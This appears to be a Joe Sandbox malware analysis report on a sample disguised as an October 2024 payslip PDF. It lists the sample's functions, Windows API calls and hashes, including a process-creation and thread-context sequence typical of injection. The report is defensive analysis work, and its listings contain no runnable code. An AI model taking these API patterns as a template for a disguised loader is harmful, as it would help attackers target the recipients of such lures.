Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 32855162249f5eabeb5932fe5c7084332951839e96cc377fa2d992ba5b25b18c
Instruction ID: b3825824e6e24bdadbe17257b31c60b13759ee23ad96c806574d4e17d4b2dcc3
Opcode Fuzzy Hash: 32855162249f5eabeb5932fe5c7084332951839e96cc377fa2d992ba5b25b18c
Instruction Fuzzy Hash: F7417D31A041565BCF295F64CC557BEFFA6ABC3308F284065E8829B282C6E18E4493E1

Function 00CA492E Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00CA4992

Part of subcall function 00CC35AC: __lock.LIBCMT ref: 00CC35B2
Part of subcall function 00CC35AC: DecodePointer.KERNEL32(00000001,?,00CA49A7,00CF81BC), ref: 00CC35BE
Part of subcall function 00CC35AC: EncodePointer.KERNEL32(?,?,00CA49A7,00CF81BC), ref: 00CC35C9

Part of subcall function 00CA4A5B: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00CA4A73
Part of subcall function 00CA4A5B: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00CA4A88

Part of subcall function 00CA3B4C: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00CA3B7A
Part of subcall function 00CA3B4C: IsDebuggerPresent.KERNEL32 ref: 00CA3B8C
Part of subcall function 00CA3B4C: GetFullPathNameW.KERNEL32(00007FFF,?,?,00D662F8,00D662E0,?,?), ref: 00CA3BFD
Part of subcall function 00CA3B4C: SetCurrentDirectoryW.KERNEL32(?), ref: 00CA3C81

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00CA49D2

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: e7cb9bf093910072e2e98fcfb7ed1b3debb9752c42110833afef1d8d4e7c1293
Instruction ID: 23a0378d602b3f123ac0d2800d8bac923c84233de5ab72fdd1ff3507673d33db
Opcode Fuzzy Hash: e7cb9bf093910072e2e98fcfb7ed1b3debb9752c42110833afef1d8d4e7c1293
Instruction Fuzzy Hash: 21116A719083169BC300EF69E80590ABFF8EB99714F00892EF055C32B1DBB0DA55DBA6

Function 00CA5DF9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000,?,00CA5981,?,?,?,?), ref: 00CA5E27
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000000,?,00CA5981,?,?,?,?), ref: 00CDE19C

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fb4f637727c2d9d63cd039231d419ed68d48584eb88293466c93ec4389406cd6
Instruction ID: a6b421373cc56b38b936b32bb9185050a25304b46faef10143926911f61e0140
Opcode Fuzzy Hash: fb4f637727c2d9d63cd039231d419ed68d48584eb88293466c93ec4389406cd6
Instruction Fuzzy Hash: 0C019270244709BEF7251E24CC8AF663A9CAB0677CF10C319BAE55A2E0C6B41E458B50

Function 00CC0FF6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CC594C: __FF_MSGBANNER.LIBCMT ref: 00CC5963
Part of subcall function 00CC594C: __NMSG_WRITE.LIBCMT ref: 00CC596A
Part of subcall function 00CC594C: RtlAllocateHeap.NTDLL(00F90000,00000000,00000001,00000000,?,?,?,00CC1013,?), ref: 00CC598F

std::exception::exception.LIBCMT ref: 00CC102C
__CxxThrowException@8.LIBCMT ref: 00CC1041

Part of subcall function 00CC87DB: RaiseException.KERNEL32(?,?,?,00D5BAF8,00000000,?,?,?,?,00CC1046,?,00D5BAF8,?,00000001), ref: 00CC8830

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: fd2361749fa6210fb9fc3b2528e02a6174003336705a21cada9dc7b260184cff
Instruction ID: 8dc3fcfba41f7f27ee316550bd6a2c11a4eb6d5407cc3c942f6eb1d9cfd5e661
Opcode Fuzzy Hash: fd2361749fa6210fb9fc3b2528e02a6174003336705a21cada9dc7b260184cff
Instruction Fuzzy Hash: ECF0A935500259A6CB20AA55FC05FEF77A89F01351F14045EFC14D6692EFB19B8592E0

Function 00CC582D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CC585C
__lock_file.LIBCMT ref: 00CC587D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: ef007956157cdc8703ff2dbbcfd4465b9473bf310a407b0f0432985388af44c7
Instruction ID: e0033104fa84df988ec9216cc43b2e3f1fa307277b69917294c9b8c05370bc23
Opcode Fuzzy Hash: ef007956157cdc8703ff2dbbcfd4465b9473bf310a407b0f0432985388af44c7
Instruction Fuzzy Hash: 82012571840605EBCF11AF65CD05E9F7A61AF50360F14821DF8245A1A5DB319A51EB51

Function 00CC55D6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CC8D68: __getptd_noexit.LIBCMT ref: 00CC8D68

__lock_file.LIBCMT ref: 00CC561B

Part of subcall function 00CC6E4E: __lock.LIBCMT ref: 00CC6E71

__fclose_nolock.LIBCMT ref: 00CC5626

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 3477bf8b3afdf9a9830a747d2985fcbc86d77e63101b41009dc6744f91f4dd4c
Instruction ID: 333204736a31c78a6887c0e018fb328b8c3308cd3a5648c5b89f2ab33368a036
Opcode Fuzzy Hash: 3477bf8b3afdf9a9830a747d2985fcbc86d77e63101b41009dc6744f91f4dd4c
Instruction Fuzzy Hash: 10F09671800A059AD720AB75C802F6F66A15F40334F55810DF425AB2C1CF7C9A86AB55

Function 00CA81C1 Relevance: 2.6, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001,00000000,00000000,?,?,?,00CA558F,?,?,?,?,?), ref: 00CA81DA
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001,00000000,?,?,?,00CA558F,?,?,?,?,?), ref: 00CA820D

Part of subcall function 00CA78AD: _memmove.LIBCMT ref: 00CA78E9

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ByteCharMultiWide$_memmove
String ID:
API String ID: 3033907384-0
Opcode ID: b089b24b09c8b7064e79ce09ef92ab87473c14a39182c97feb506da65a527f8f
Instruction ID: 889b62dced287d6e90100e38c32b28d1f7f93def8cd2a2ec24f500329dac6e02
Opcode Fuzzy Hash: b089b24b09c8b7064e79ce09ef92ab87473c14a39182c97feb506da65a527f8f
Instruction Fuzzy Hash: D201AD31201205BFEB256B26DD4AF7B3B6CEB8A760F10852AFD05CD291EE20D8009671

Function 0130904D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 0130987D
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 013098A1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 013098C3

Memory Dump Source

Source File: 00000000.00000002.1673906698.0000000001307000.00000040.00000020.00020000.00000000.sdmp, Offset: 01307000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1307000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 7bc2eb71131a5ca0d961fb64b4ce1da28befc4a8e94ed8bda1bc50d134690387
Instruction ID: 8369401d223a3041a90a81cd962985c5f83466866eb7656590f747b872e74ecc
Opcode Fuzzy Hash: 7bc2eb71131a5ca0d961fb64b4ce1da28befc4a8e94ed8bda1bc50d134690387
Instruction Fuzzy Hash: 1712FE24E14658C6EB24CF64D8507DEB272EF68304F1090E9910DEB7E5E77A4F81CB5A

Function 00CB2123 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0283485adce2a36b0a83e764e00be96711337d2a05b8b9b81c0ba1756822b9f0
Instruction ID: 3deb20664d366a03dd743d511b0adf024213eb06856aa830ede6616946fd006b
Opcode Fuzzy Hash: 0283485adce2a36b0a83e764e00be96711337d2a05b8b9b81c0ba1756822b9f0
Instruction Fuzzy Hash: 3A518135700605AFCF14EB69C992FBE77A5AF45314F148168F916AB392CB30EE01EB51

Function 00CA766F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CA774A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 2f466d58e87c31740ad96a9f8282740675fa696a59cfd7e305399dc64fcaa7d6
Instruction ID: ba8d0b2e34ee9f4b4bf7a972fc5af56a9362381adc59b69c9d3db39290125b07
Opcode Fuzzy Hash: 2f466d58e87c31740ad96a9f8282740675fa696a59cfd7e305399dc64fcaa7d6
Instruction Fuzzy Hash: EF318379208A03DFC7259F19C990A26F7E4FF0A310714C66DE99ACB765E730D881DB94

Function 00CA5C4E Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00000000), ref: 00CA5CF6

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 05b36164d4d472abc228112626cf29e0cd126a4936a9c8c9ac7db5fe6581b4d0
Instruction ID: 0f504583a161760b212c4312ac2f7d2e956b58354e0b095572c08e6cd02d9d7c
Opcode Fuzzy Hash: 05b36164d4d472abc228112626cf29e0cd126a4936a9c8c9ac7db5fe6581b4d0
Instruction Fuzzy Hash: 0F316C31A00B1AAFCB18DF2DC484A6DB7B1FF49328F14C629E82993714D731B960DB90

Function 00CC0E48 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00CC0EF7

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 95aa3666f86ff82f898c3f63106eefdf14102cd4487d200b0f0c3cce937c0f53
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: CB31B271A40105DBC718DF59D480A69FBA6FF59300B788AADE49ACB651DB31EEC1CB80

Function 00CE00D6 Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00CE00E1

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 5876616b5043bbd3e65dd116c4692afa56822439feee87b5f4d7508755bb780d
Instruction ID: 5e0bcae333749b40836ff4853d84bdcad177adc14ccf86180e735c4efef563f3
Opcode Fuzzy Hash: 5876616b5043bbd3e65dd116c4692afa56822439feee87b5f4d7508755bb780d
Instruction Fuzzy Hash: D7410774504352DFDB24DF15C484B1ABBE0BF46318F1988ACE8998B362C376ED85DB92

Function 00CA5B19 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CA5B61

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 7ccb50b1ebbe2181c19d054806a9dbc155fdfba4660c97a3dfb5d29ae32d3fdf
Instruction ID: 1f38b6c2bf8feb8cf9bc05184e72c56b90107f3b389c47407bc0b63f778e9ad9
Opcode Fuzzy Hash: 7ccb50b1ebbe2181c19d054806a9dbc155fdfba4660c97a3dfb5d29ae32d3fdf
Instruction Fuzzy Hash: 3521DE30A00B09EBDB106F52E885A7E7BB8FF00351F21846BE985CA211EB7094E0E761

Function 00CA4F3D Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA4D13: FreeLibrary.KERNEL32(00000000,?), ref: 00CA4D4D

Part of subcall function 00CC548B: __wfsopen.LIBCMT ref: 00CC5496

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00D662F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00CA4F6F

Part of subcall function 00CA4CC8: FreeLibrary.KERNEL32(00000000), ref: 00CA4D02

Part of subcall function 00CA4DD0: _memmove.LIBCMT ref: 00CA4E1A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: cc969f99150abc4795a4bbaf0a321667b344b09abfc3d76368f9fa6576d2c4b7
Instruction ID: 3661a40cabaec19a1f9a8258eb199f795a678c5b18bd45ba77b48fa89c9a09ab
Opcode Fuzzy Hash: cc969f99150abc4795a4bbaf0a321667b344b09abfc3d76368f9fa6576d2c4b7
Instruction Fuzzy Hash: FC11E731A0030AAECF18EF74DC12FAE77A59F81718F108439F542A62C1DAF19A05AB60

Function 00CE01AF Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00CE01BB

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: b4a630b8bc47162caeeca9d3c3abec4d3ff12b120564164a372ce3534300972d
Instruction ID: da5e53d55989859c9e3cd2a81d9790b6aa0acf0a3ef88fc1392594f65b95dc4f
Opcode Fuzzy Hash: b4a630b8bc47162caeeca9d3c3abec4d3ff12b120564164a372ce3534300972d
Instruction Fuzzy Hash: 762124B4508342DFCB24DF55C444B1ABBE0BF8A308F04896CE99A47722D731E855DBA2

Function 00CA5D20 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00010000,?,00000000,00000000,?,00010000,?,00CA5807,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00CA5D76

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1d04b7b7d667acb7088583e448b93bf17903faaebb9ab7b29bbea939bfa46a6d
Instruction ID: 832186599a8cdae081d9b26f31edcc3202b6aaf4af8ba7f5f4bebeb92dee8489
Opcode Fuzzy Hash: 1d04b7b7d667acb7088583e448b93bf17903faaebb9ab7b29bbea939bfa46a6d
Instruction Fuzzy Hash: 59113A31600B069FD3308F15C584B66B7E9EF46764F10C92EE5AA86A50D770E945CB60

Function 00CA5BDA Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CDE141

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: f81bb0d9c40211a16c2ddc2fba480c37069f24b1f4b1b952f0fc00164d3fb58f
Instruction ID: aea41d39c46bf7704e987f14fbf8b9532b6cbe4e1b8f303589a7b92ad5a871d8
Opcode Fuzzy Hash: f81bb0d9c40211a16c2ddc2fba480c37069f24b1f4b1b952f0fc00164d3fb58f
Instruction Fuzzy Hash: 0F01A2B9700542AFC305EB69D841D2AFBA9FF8A3143148159F819C7702DB31EC21DBE0

Function 00CFFC4D Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CFFC88

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 309a79a45fff2252f3691ee7f1f0a745aeeb4d70cbc4b36ad79c3bb9c4bb7ad0
Instruction ID: b0838420ba34afd7f07ef6afe3a748bc1702a5faafe1d7a9586ec8b4bfa6fed1
Opcode Fuzzy Hash: 309a79a45fff2252f3691ee7f1f0a745aeeb4d70cbc4b36ad79c3bb9c4bb7ad0
Instruction Fuzzy Hash: 4501A972200225ABCB28DF2DD891A7BB7A9EFC5354714443EFD0ACB245E631E901C791

Function 00CA7F41 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CA7F82

Memory Dump Source

